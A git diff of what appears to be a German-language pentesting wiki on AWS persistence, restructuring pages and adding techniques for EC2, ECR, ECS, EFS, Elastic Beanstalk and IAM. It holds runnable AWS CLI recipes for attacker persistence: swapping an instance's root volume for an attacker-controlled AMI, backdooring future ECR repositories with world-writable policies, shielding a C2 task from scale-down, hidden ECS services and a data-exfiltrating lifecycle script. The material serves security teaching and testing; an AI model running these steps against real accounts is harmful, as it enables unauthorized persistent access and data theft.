+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Alternative mit einem Snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Beweise / Verifizierung
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the Dateisystem from the vom Angreifer kontrollierten AMI/snapshot.
+
+## Hinweise
+- Die API verlangt nicht, die Instanz manuell zu stoppen; EC2 orchestriert einen Reboot.
+- Standardmäßig wird das ersetzte (alte) root EBS Volume abgetrennt und im Account belassen (DeleteReplacedRootVolume=false). Dies kann für ein Rollback verwendet werden oder muss gelöscht werden, um Kosten zu vermeiden.
+
+## Rollback / Bereinigung
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
deleted file mode 100644
index 29a84eb23..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - ECR Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Verstecktes Docker-Image mit bösartigem Code
-
-Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf stealthy Weise bereitstellen.
-
-### Repository-Richtlinie
-
-Fügen Sie einer einzelnen Repository-Richtlinie hinzu, die Ihnen (oder allen) Zugriff auf ein Repository gewährt:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Richtlinie **zu tätigen, bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können.
-
-### Registry-Richtlinie & Cross-Account-Replikation
-
-Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem man die Cross-Account-Replikation konfiguriert, wobei Sie **das externe Konto angeben** müssen, in dem Sie die Registry replizieren möchten.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Zuerst müssen Sie dem externen Konto Zugriff auf die Registry mit einer **Registry-Richtlinie** gewähren, wie:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Dann wenden Sie die Replikationskonfiguration an:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
new file mode 100644
index 000000000..079e9badc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
@@ -0,0 +1,145 @@
+# AWS - ECR Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Verstecktes Docker-Image mit bösartigem Code
+
+Ein Angreifer könnte **ein Docker-Image hochladen, das bösartigen Code enthält**, in ein ECR-Repository und es nutzen, um Persistenz im Ziel-AWS-Konto zu erreichen. Der Angreifer könnte das bösartige Image dann unauffällig in verschiedenen Services des Kontos bereitstellen, wie z. B. Amazon ECS oder EKS.
+
+### Repository-Richtlinie
+
+Füge einem einzelnen Repository eine Richtlinie hinzu, die dir (oder allen) Zugriff auf das Repository gewährt:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Beachte, dass ECR von Benutzern **Berechtigungen** verlangt, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Policy zu machen, **bevor sie sich** bei einer Registry authentifizieren und Images in ein Amazon ECR-Repository pushen oder daraus pullen können.
+
+### Registry-Richtlinie & kontoübergreifende Replikation
+
+Es ist möglich, eine Registry automatisch in einem externen Account zu replizieren, indem man die kontoübergreifende Replikation konfiguriert; dabei muss man das **externe Konto angeben**, in das die Registry repliziert werden soll.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Zuerst müssen Sie dem externen Account Zugriff auf die Registry gewähren mit einer **Registry-Richtlinie** wie:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+Wenden Sie dann die Replikationskonfiguration an:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (Präfix-Backdoor für zukünftige repos)
+
+Abuse ECR Repository Creation Templates, um automatisch jedes Repository zu backdooren, das ECR unter einem kontrollierten Präfix automatisch erstellt (z. B. via Pull-Through Cache oder Create-on-Push). Dies gewährt dauerhaften unautorisierten Zugriff auf zukünftige repos, ohne bestehende anzufassen.
+
+- Erforderliche Berechtigungen: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (wird von der Vorlage verwendet), iam:PassRole (falls eine benutzerdefinierte Rolle an die Vorlage angehängt ist).
+- Auswirkung: Jedes neue Repository, das unter dem Zielpräfix erstellt wird, erbt automatisch eine vom Angreifer kontrollierte Repository-Richtlinie (z. B. cross-account read/write), Tag-Veränderbarkeit und Standardwerte für Scans.
+
+<details>
+<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
deleted file mode 100644
index 5e58becd6..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ /dev/null
@@ -1,93 +0,0 @@
-# AWS - ECS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Versteckte periodische ECS-Aufgabe
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer kann eine versteckte periodische ECS-Aufgabe mit Amazon EventBridge erstellen, um **die Ausführung einer bösartigen Aufgabe regelmäßig zu planen**. Diese Aufgabe kann Aufklärung durchführen, Daten exfiltrieren oder die Persistenz im AWS-Konto aufrechterhalten.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Backdoor-Container in bestehender ECS-Task-Definition
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer kann einen **heimlichen Backdoor-Container** in einer bestehenden ECS-Task-Definition hinzufügen, der neben legitimen Containern läuft. Der Backdoor-Container kann für Persistenz und die Durchführung bösartiger Aktivitäten verwendet werden.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Undocumented ECS Service
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer kann einen **undocumented ECS service** erstellen, der eine bösartige Aufgabe ausführt. Durch das Setzen der gewünschten Anzahl von Aufgaben auf ein Minimum und das Deaktivieren von Protokollen wird es für Administratoren schwieriger, den bösartigen Dienst zu bemerken.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
new file mode 100644
index 000000000..00d123b88
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
@@ -0,0 +1,152 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Versteckte periodische ECS-Task
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer kann mit Amazon EventBridge eine versteckte periodische ECS-Task erstellen, um **periodisch die Ausführung einer bösartigen Task zu planen**. Diese Task kann reconnaissance durchführen, exfiltrate data oder persistence im AWS-Account aufrechterhalten.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer kann einen **stealthy backdoor container** in einer bestehenden ECS task definition hinzufügen, der neben legitimen containers läuft. Der backdoor container kann für persistence und zur Durchführung bösartiger Aktivitäten verwendet werden.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Undokumentierter ECS-Service
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer kann einen **undokumentierten ECS-Service** erstellen, der einen bösartigen Task ausführt. Wenn die gewünschte Anzahl an Tasks auf ein Minimum gesetzt und die Protokollierung deaktiviert wird, ist es für Administratoren schwieriger, den bösartigen Service zu bemerken.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+Missbrauche ecs:UpdateTaskProtection, um zu verhindern, dass service tasks durch scale‑in events und rolling deployments gestoppt werden. Durch das kontinuierliche Verlängern des Schutzes kann ein Angreifer eine lang laufende Task (für C2 oder Datensammlung) am Laufen halten, selbst wenn Verteidiger desiredCount reduzieren oder neue task revisions ausrollen.
+
+Schritte zur Reproduktion in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Auswirkung: Eine geschützte Task bleibt RUNNING trotz desiredCount=0 und blockiert Ersatz während neuer Deployments, wodurch eine heimliche, langanhaltende Persistenz innerhalb des ECS-Service ermöglicht wird.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
deleted file mode 100644
index fce1ec3af..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - EFS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Ressourcenschutzrichtlinie / Sicherheitsgruppen ändern
-
-Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** können Sie versuchen, Ihren Zugriff auf das Dateisystem aufrechtzuerhalten.
-
-### Zugriffspunkt erstellen
-
-Sie könnten **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem Sie **andere Persistenz** implementiert haben, um privilegierten Zugriff auf das Dateisystem zu behalten.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
new file mode 100644
index 000000000..58b321ab5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Modify Resource Policy / Security Groups
+
+Durch Ändern der **resource policy and/or security groups** können Sie versuchen, Ihren Zugriff auf das Dateisystem beizubehalten.
+
+### Create Access Point
+
+Sie könnten **create an access point** (mit root-Zugriff auf `/`) erstellen, der von einem Service aus zugänglich ist, in dem Sie **other persistence** implementiert haben, um privilegierten Zugriff auf das Dateisystem aufrechtzuerhalten.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
index 55c14811a..1ae9b732b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
@@ -1,35 +1,35 @@
 # AWS - Elastic Beanstalk Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Persistenz in der Instanz
+### Persistenz auf der Instance
 
-Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen innerhalb der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann.
+Um Persistenz im AWS-Account zu erhalten, könnte auf der Instance ein **Persistenzmechanismus eingeführt werden** (cron job, ssh key...), sodass der Angreifer darauf zugreifen und IAM-Rollen-**credentials vom metadata service** stehlen kann.
 
-### Hintertür in der Version
+### Backdoor in Version
 
-Ein Angreifer könnte den Code im S3-Repo mit einer Hintertür versehen, sodass immer seine Hintertür und der erwartete Code ausgeführt werden.
+Ein Angreifer könnte den Code im S3 repo backdooren, sodass er immer seine Backdoor und den erwarteten Code ausführt.
 
-### Neue hintertürbehaftete Version
+### Neue backdoored Version
 
-Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue hintertürbehaftete Version der Anwendung bereitstellen.
+Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue backdoored Version der Anwendung deployen.
 
-### Missbrauch von benutzerdefinierten Ressourcen-Lifecycle-Hooks
+### Missbrauch von Custom Resource Lifecycle Hooks
 
 > [!NOTE]
-> TODO: Test
+> TODO: Testen
 
-Elastic Beanstalk bietet Lifecycle-Hooks, die es Ihnen ermöglichen, benutzerdefinierte Skripte während der Bereitstellung und Beendigung von Instanzen auszuführen. Ein Angreifer könnte **einen Lifecycle-Hook konfigurieren, um regelmäßig ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält**.
+Elastic Beanstalk stellt lifecycle hooks bereit, mit denen du custom scripts während der instance provisioning und termination ausführen kannst. Ein Angreifer könnte **einen lifecycle hook konfigurieren, der periodisch ein Script ausführt, das Daten exfiltrates oder den Zugriff auf das AWS-Konto aufrechterhält**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
deleted file mode 100644
index f6318df2b..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - IAM Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Für weitere Informationen zugreifen:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Häufige IAM Persistenz
-
-- Erstellen Sie einen Benutzer
-- Fügen Sie einen kontrollierten Benutzer einer privilegierten Gruppe hinzu
-- Erstellen Sie Zugriffsschlüssel (des neuen Benutzers oder aller Benutzer)
-- Gewähren Sie zusätzlichen Berechtigungen an kontrollierte Benutzer/Gruppen (angehängte Richtlinien oder Inline-Richtlinien)
-- Deaktivieren Sie MFA / Fügen Sie Ihr eigenes MFA-Gerät hinzu
-- Erstellen Sie eine Rollenkette Juggling-Situation (mehr dazu weiter unten in der STS-Persistenz)
-
-### Backdoor-Rollenvertrauensrichtlinien
-
-Sie könnten eine Vertrauensrichtlinie hinterlegen, um sie für eine von Ihnen kontrollierte externe Ressource (oder für alle) annehmen zu können:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Backdoor-Policy-Version
-
-Geben Sie Administratorberechtigungen an eine Richtlinie in nicht ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu.
-
-### Backdoor / Identitätsanbieter erstellen
-
-Wenn das Konto bereits einem gängigen Identitätsanbieter (wie Github) vertraut, könnten die Bedingungen des Vertrauens erhöht werden, sodass der Angreifer sie ausnutzen kann.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
new file mode 100644
index 000000000..d9faee27c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Häufige IAM Persistence
+
+- Einen Benutzer erstellen
+- Einen kontrollierten Benutzer zu einer privilegierten Gruppe hinzufügen
+- Zugriffsschlüssel erstellen (des neuen Benutzers oder aller Benutzer)
+- Kontrollierten Benutzern/Gruppen zusätzliche Berechtigungen gewähren (attached policies oder inline policies)
+- MFA deaktivieren / eigenes MFA-Gerät hinzufügen
+- Eine Role Chain Juggling-Situation erstellen (mehr dazu weiter unten in STS persistence)
+
+### Backdoor Role Trust Policies
+
+Du könntest eine trust policy backdooren, um sie für eine externe Ressource, die du kontrollierst (oder für alle), annehmen zu können:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
